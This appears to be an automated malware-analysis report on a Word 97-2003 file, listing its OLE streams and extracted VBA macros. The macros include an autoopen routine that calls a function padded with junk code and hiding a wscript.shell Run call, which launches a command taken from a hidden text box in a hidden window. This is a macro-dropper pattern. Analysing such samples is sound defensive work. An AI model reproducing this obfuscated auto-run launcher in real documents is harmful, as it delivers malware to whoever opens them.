Data Raw:	01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 77 02 00 00 00 00 00 00 01 00 00 00 07 56 f3 d1 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code
`Attribute VB_Name = "Hzk5"`

VBA File Name: Jqidv.cls, Stream Size: 984

General
Stream Path:	Macros/VBA/Jqidv
VBA File Name:	Jqidv.cls
Stream Size:	984
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . V s H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 07 56 73 48 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
"Jqidv"
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived
VB_Exposed

VBA Code

Attribute VB_Name = "Jqidv"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: Lbtif.bas, Stream Size: 673

General
Stream Path:	Macros/VBA/Lbtif
VBA File Name:	Lbtif.bas
Stream Size:	673
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . # . . . w . . . . . . . . . . . . V . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 77 02 00 00 00 00 00 00 01 00 00 00 07 56 e0 40 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
"Lbtif"
VB_Name

VBA Code
`Attribute VB_Name = "Lbtif"`

VBA File Name: Nical.bas, Stream Size: 673

General
Stream Path:	Macros/VBA/Nical
VBA File Name:	Nical.bas
Stream Size:	673
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . # . . . w . . . . . . . . . . . . V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 77 02 00 00 00 00 00 00 01 00 00 00 07 56 15 fb 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
"Nical"
Attribute
VB_Name

VBA Code
`Attribute VB_Name = "Nical"`

VBA File Name: Owl5.cls, Stream Size: 1951

General
Stream Path:	Macros/VBA/Owl5
VBA File Name:	Owl5.cls
Stream Size:	1951
Data ASCII:	. . . . . $ . . . . . . . . . . . 6 . . . ! . . . ; . . . . . . . . . . . . . . . . V 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D . . . . . d ] . H C . . G . ; . . . y . . \\ . . . . . S N . . . . . } . . . . . . . . . . . . . . . . . . . . . . . . H . . . B . 0 . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . T e x t B o x 1 , 0 , 0 , M S F o r m s , T e x t B o x . . . . H . . . B . 0 . . . x . . d ] . H C . . G . ; . . . y
Data Raw:	01 16 01 00 06 24 01 00 00 da 03 00 00 08 01 00 00 36 02 00 00 21 04 00 00 3b 04 00 00 e3 05 00 00 01 00 00 00 01 00 00 00 07 56 39 ed 00 00 ff ff e3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 44 00 ff ff 00 00 64 5d 90 48 43 08 16 47 b5 3b ab b9 bc 79 b3 ab 5c 1e a6 b7 db 83 53 4e 9d 20 85 b0 c1 ae 7d 19 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
VB_Name
VB_Creatable
Fwjdi
VB_Exposed
TextBox"
Kpqsr
VB_Customizable
Zznrk
VB_Control
Jiiin
VB_TemplateDerived
Akaqu
MSForms,
False
Attribute
autoopen()
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
Gvzbj

VBA Code

Attribute VB_Name = "Owl5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
P8ou = Zplv - Snfj
Fwjdi = Dmul - J816
Zznrk = Gvzbj - Xm49f
Wwdj = Gfku - Amhl
Kpqsr = Sqni - Rfp9
Swon
Zz26 = Hjqi - Znwv
Vw1i = Jjnw6 - S6zk
Wmr2 = Ljh50 - Jj02r
Acpf8 = Dia5 - Akaqu
D28t = Jiiin - C7n5
End Sub

VBA File Name: Rnb3.cls, Stream Size: 982

General
Stream Path:	Macros/VBA/Rnb3
VBA File Name:	Rnb3.cls
Stream Size:	982
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 07 56 08 b9 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Rnb3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: Shju8.cls, Stream Size: 984

General
Stream Path:	Macros/VBA/Shju8
VBA File Name:	Shju8.cls
Stream Size:	984
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . V > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 07 56 3e 81 00 00 ff ff 01 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_Base
VB_Customizable
VB_TemplateDerived
VB_GlobalNameSpace

VBA Code

Attribute VB_Name = "Shju8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: U1h22.bas, Stream Size: 673

General
Stream Path:	Macros/VBA/U1h22
VBA File Name:	U1h22.bas
Stream Size:	673
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . # . . . w . . . . . . . . . . . . V r . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 77 02 00 00 00 00 00 00 01 00 00 00 07 56 72 ee 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code
`Attribute VB_Name = "U1h22"`

VBA File Name: X4nu.bas, Stream Size: 4128

General
Stream Path:	Macros/VBA/X4nu
VBA File Name:	X4nu.bas
Stream Size:	4128
Data ASCII:	. . . . . . . . . \\ . . . . . . . . . . . . . . . c . . . ; . . . . . . . . . . . . V R . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 00 f0 00 00 00 5c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 63 02 00 00 3b 0b 00 00 00 00 00 00 01 00 00 00 07 56 52 ae 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Ikhzz
Irqfs
CDate(Bsowp)
Resume
Ijsjv
Hpwzb
Swon()
Hrqkm
Tfjsf
Sgn(Vnai)
Eqtriik
Sin(Sivo)
Cirfct
CreateObject("wscript.shell").Run((""
Sin(Gjvum)
Select
Hofiu
Sgn(Nvjvk)
Njou,
Error
Jbiki
Attribute
VB_Name
Function
Ltqok
Rtbfb
Xduai

VBA Code

Attribute VB_Name = "X4nu"
Function Swon()
On Error Resume Next
   Select Case Rj1c
         Case 862
            C0vu = CDate(R8i4)
            Tumb6 = Dq9q
            K30wb = Sgn(U7nm2)
         Case 595
            Udiz = 317
            Edtf = CDbl(415)
            Xduai = Sin(C5io)
         Case 169
            Ws2f8 = Fix(Bq9b)
            Uu8fw = Round(564)
            Pnuj = Fzw0
      End Select
   Select Case S7jm5
         Case 438
            Tfjsf = CDate(Z2ti)
            Twi0 = Ijsjv
            Er1fs = Sgn(M5v4p)
         Case 267
            Scit = 428
            Ki8j = CDbl(834)
            Lji54 = Sin(Zt90)
         Case 695
            Zm0ko = Fix(H2m3i)
            Vqd8 = Round(490)
            Ya7q = Gw1s
      End Select
   Select Case Na7u3
         Case 642
            Xj8o = CDate(J4io)
            Irqfs = C4506
            Nz83q = Sgn(Nvjvk)
         Case 174
            Kjnr = 960
            Ekao = CDbl(854)
            Lpb3q = Sin(Kwc19)
         Case 466
            Qjvs = Fix(M8kw)
            Ljc6 = Round(958)
            Z9bc5 = Y7ss
      End Select
   Select Case S527
         Case 381
            Zzz2 = CDate(Wvv8p)
            Lswo7 = Fzz9
            Hr8c = Sgn(Ebl1)
         Case 726
            Uz1qt = 430
            Vtiq = CDbl(606)
            Hofiu = Sin(Gjvum)
         Case 173
            Hrqkm = Fix(Bn1zn)
            Mru4 = Round(412)
            O6b3f = Uq7jc
      End Select
   Select Case H5t0v
         Case 484
            Mz6qh = CDate(Bsowp)
            C21f = Ikhzz
            M1jw = Sgn(Dzi8v)
         Case 434
            Jbiki = 441
            R24i = CDbl(408)
            Hpwzb = Sin(Sivo)
         Case 724
            R5nrf = Fix(Mo5n)
            Kq62 = Round(503)
            Bih5 = Rf1k
      End Select
Mw48w = Array(Naq6, Jo0l, Bf8u8, CreateObject("wscript.shell").Run(("" + Eqtriik + Xmt48b + Cirfct + Vcuj2h + Owl5.TextBox1) + T1p6m7h9t + Wh8jih2w, 67 - 67), T2v7l, Njou, G4vm)
   Select Case Roh0
         Case 444
            Uvha = CDate(Wkcv5)
            Ypw0c = E152
            Yai4 = Sgn(Vnai)
         Case 279
            Az01a = 868
            M84wp = CDbl(847)
            Rtbfb = Sin(I5hz)
         Case 192
            Ltqok = Fix(K9oz1)
            Ya8n = Round(816)
            Zln7 = Abu7
      End Select
End Function

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	114
Entropy:	4.2359563651
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 280

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	280
Entropy:	2.37684723856
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 404

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	404
Entropy:	2.95003329077
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . 8 . . . . . . . D . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 64 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 bc 00 00 00 06 00 00 00 c8 00 00 00 07 00 00 00 d4 00 00 00 08 00 00 00 e8 00 00 00 09 00 00 00 f4 00 00 00

Stream Path: 1Table, File Type: ARC archive data, crunched, Stream Size: 9680

General
Stream Path:	1Table
File Type:	ARC archive data, crunched
Stream Size:	9680
Entropy:	6.12318924552
Base64 Encoded:	True
Data ASCII:	. . . . . . . . w . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
Data Raw:	1a 06 11 00 12 00 01 00 77 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: data, Stream Size: 82334

General
Stream Path:	Data
File Type:	data
Stream Size:	82334
Entropy:	7.79858188911
Base64 Encoded:	True
Data ASCII:	f ? . . D . d . . . . . . . . . . . . . . . . . . . . . . j 1 . Y . Y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j . . . . . . . . . . . . . . . . . . . c . . . 8 . . . . A . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . i . c . t . u . r . e . . 2 . . . . . " . . . . . . . . . . . . . . . . . . . . . . . R . . . . > . . . . . J " + 5 . K . . . . . n 3 O . . . . > . . . . . . D . . . . . P . . F . . \| > . . . J " + 5 . K . . . . . n 3 O . . . . . . .
Data Raw:	66 3f 01 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 6a 31 1a 59 01 59 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 6a 00 00 00 b2 04 0a f0 08 00 00 00 03 04 00 00 00 0a 00 00 63 00 0b f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00 08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 808

General
Stream Path:	Macros/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	808
Entropy:	5.33957391129
Base64 Encoded:	True
Data ASCII:	I D = " { D A 7 B 5 D 8 C - 4 E B F - 4 9 C 5 - A 0 E 8 - 2 B 6 6 6 3 5 8 9 5 1 D } " . . D o c u m e n t = O w l 5 / & H 0 0 0 0 0 0 0 0 . . M o d u l e = X 4 n u . . M o d u l e = L b t i f . . M o d u l e = N i c a l . . M o d u l e = U 1 h 2 2 . . M o d u l e = H z k 5 . . C l a s s = J q i d v . . C l a s s = S h j u 8 . . C l a s s = R n b 3 . . C l a s s = F b d 6 1 . . E x e N a m e 3 2 = " U 7 3 4 " . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t
Data Raw:	49 44 3d 22 7b 44 41 37 42 35 44 38 43 2d 34 45 42 46 2d 34 39 43 35 2d 41 30 45 38 2d 32 42 36 36 36 33 35 38 39 35 31 44 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 4f 77 6c 35 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 58 34 6e 75 0d 0a 4d 6f 64 75 6c 65 3d 4c 62 74 69 66 0d 0a 4d 6f 64 75 6c 65 3d 4e 69 63 61 6c 0d 0a 4d 6f 64 75 6c 65 3d 55 31 68 32 32 0d 0a 4d 6f

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 170

General
Stream Path:	Macros/PROJECTwm
File Type:	data
Stream Size:	170
Entropy:	3.68420903567
Base64 Encoded:	True
Data ASCII:	O w l 5 . O . w . l . 5 . . . X 4 n u . X . 4 . n . u . . . L b t i f . L . b . t . i . f . . . N i c a l . N . i . c . a . l . . . U 1 h 2 2 . U . 1 . h . 2 . 2 . . . H z k 5 . H . z . k . 5 . . . J q i d v . J . q . i . d . v . . . S h j u 8 . S . h . j . u . 8 . . . R n b 3 . R . n . b . 3 . . . F b d 6 1 . F . b . d . 6 . 1 . . . . .
Data Raw:	4f 77 6c 35 00 4f 00 77 00 6c 00 35 00 00 00 58 34 6e 75 00 58 00 34 00 6e 00 75 00 00 00 4c 62 74 69 66 00 4c 00 62 00 74 00 69 00 66 00 00 00 4e 69 63 61 6c 00 4e 00 69 00 63 00 61 00 6c 00 00 00 55 31 68 32 32 00 55 00 31 00 68 00 32 00 32 00 00 00 48 7a 6b 35 00 48 00 7a 00 6b 00 35 00 00 00 4a 71 69 64 76 00 4a 00 71 00 69 00 64 00 76 00 00 00 53 68 6a 75 38 00 53 00 68 00 6a

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6551

General
Stream Path:	Macros/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	6551
Entropy:	4.84644036867
Base64 Encoded:	True
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 af 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 06 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/__SRP_0, File Type: data, Stream Size: 1958

General
Stream Path:	Macros/VBA/__SRP_0
File Type:	data
Stream Size:	1958
Entropy:	4.36244344449
Base64 Encoded:	True
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o q . . . I . . . . L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	93 4b 2a af 01 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 80 01 00 00 80 00 00 00 80 00 00 00 80 00 00 00 04 00 00 7e 05 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00

Stream Path: Macros/VBA/__SRP_1, File Type: data, Stream Size: 218

General
Stream Path:	Macros/VBA/__SRP_1
File Type:	data
Stream Size:	218
Entropy:	2.56297571075
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . . . . . . . . . . . . . . . . . . . . . . . T e x t B o x 1 . . . . . . . . . . . . a . . . . . . . ( . . . . . . . d . . . . . . .
Data Raw:	72 55 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 01 00 00 7e 01 00 00 7e 01 00 00 7e 79 00 00 7f 00 00 00 00 0a 00 00 00 09 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 09 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 03 00 00 09 a1 03 00 00 00 00 00 00 a9 08 00 00 00 00

Stream Path: Macros/VBA/__SRP_2, File Type: data, Stream Size: 428

General
Stream Path:	Macros/VBA/__SRP_2
File Type:	data
Stream Size:	428
Entropy:	2.29237567581
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . Y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
